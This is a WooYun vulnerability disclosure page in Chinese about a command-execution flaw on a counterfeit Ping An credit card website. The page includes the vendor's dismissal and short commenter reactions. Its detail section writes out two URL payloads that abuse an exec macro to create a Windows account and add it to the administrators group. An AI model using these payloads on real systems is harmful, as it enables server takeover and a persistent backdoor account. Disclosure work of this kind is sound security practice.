当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138178

漏洞标题：某山寨平安信用卡网站存在命令执行漏洞导致服务器沦陷

相关厂商：山寨平安信用卡

漏洞作者： 路人甲

提交时间：2015-09-02 18:35

修复时间：2015-11-30 09:20

公开时间：2015-11-30 09:20

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-02： 细节已通知厂商并且等待厂商处理中
2015-09-01： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-10-26： 细节向核心白帽子及相关领域专家公开
2015-11-05： 细节向普通白帽子公开
2015-11-15： 细节向实习白帽子公开
2015-11-30： 细节向公众公开

简要描述：

服务器的存在exec指令调用会造成远程机器被执行cmd指令.

详细说明：

服务器的存在exec指令调用会造成远程机器被执行cmd指令.
有足够的权限,远程服务器上执行管理用户添加即可.

/?search==%00{.exec|cmd%20/c%20net%20user%20plus%20plus%20/add.}


/?search==%00{.exec|cmd%20/c%20net%20localgroup%20administrators%20plus%20/add.}

漏洞证明：

dy1.png

dy3.jpg

dy2.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-30 09:20

厂商回复：

CNVD未能确认网站管理方(境外)，暂不列入处置流程。同时对于此类潜在的仿冒事件，建议向CNCERT直接投诉，在WOOYUN上只受理漏洞类事件。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-31 18:37 | xsser 认证白帽子 ( 普通白帽子 | Rank:259 漏洞数:20 | 当我又回首一切,这个世界会好吗?)

    亮了

  2. 2015-08-31 18:38 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    亮了

  3. 2015-08-31 18:54 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    亮了

  4. 2015-08-31 22:57 | 金馆长 ( 路人 | Rank:4 漏洞数:2 | Up)

    亮了

  5. 2015-08-31 23:48 | 土夫子 ( 普通白帽子 | Rank:324 漏洞数:58 | 自由)

    亮了

  6. 2015-09-01 01:07 | DNS ( 普通白帽子 | Rank:510 漏洞数:60 | 没有我，你们就去背IP吧)

    暗了

  7. 2015-09-01 09:27 | f4ckbaidu ( 普通白帽子 | Rank:189 漏洞数:25 | 开发真是日了狗了)

    这也算通用？

  8. 2015-09-01 14:45 | 随风的风 ( 普通白帽子 | Rank:170 漏洞数:55 | 微信公众号：233sec 不定期分享各种漏洞思...)

    cnvd今天输入法只有大写啊。。

  9. 2015-09-08 16:08 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:10 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)

    这也算事件？啥叫山寨平安信用卡，非法网站，？喂猫网站。看不到内容真憋得慌。CNVD未能确认网站管理方(境外)。好迷糊的样子

  10. 2015-11-05 13:28 | wy007 ( 普通白帽子 | Rank:108 漏洞数:11 | 其实我是一名卧底...)

    弄了半天原来是个NFS漏洞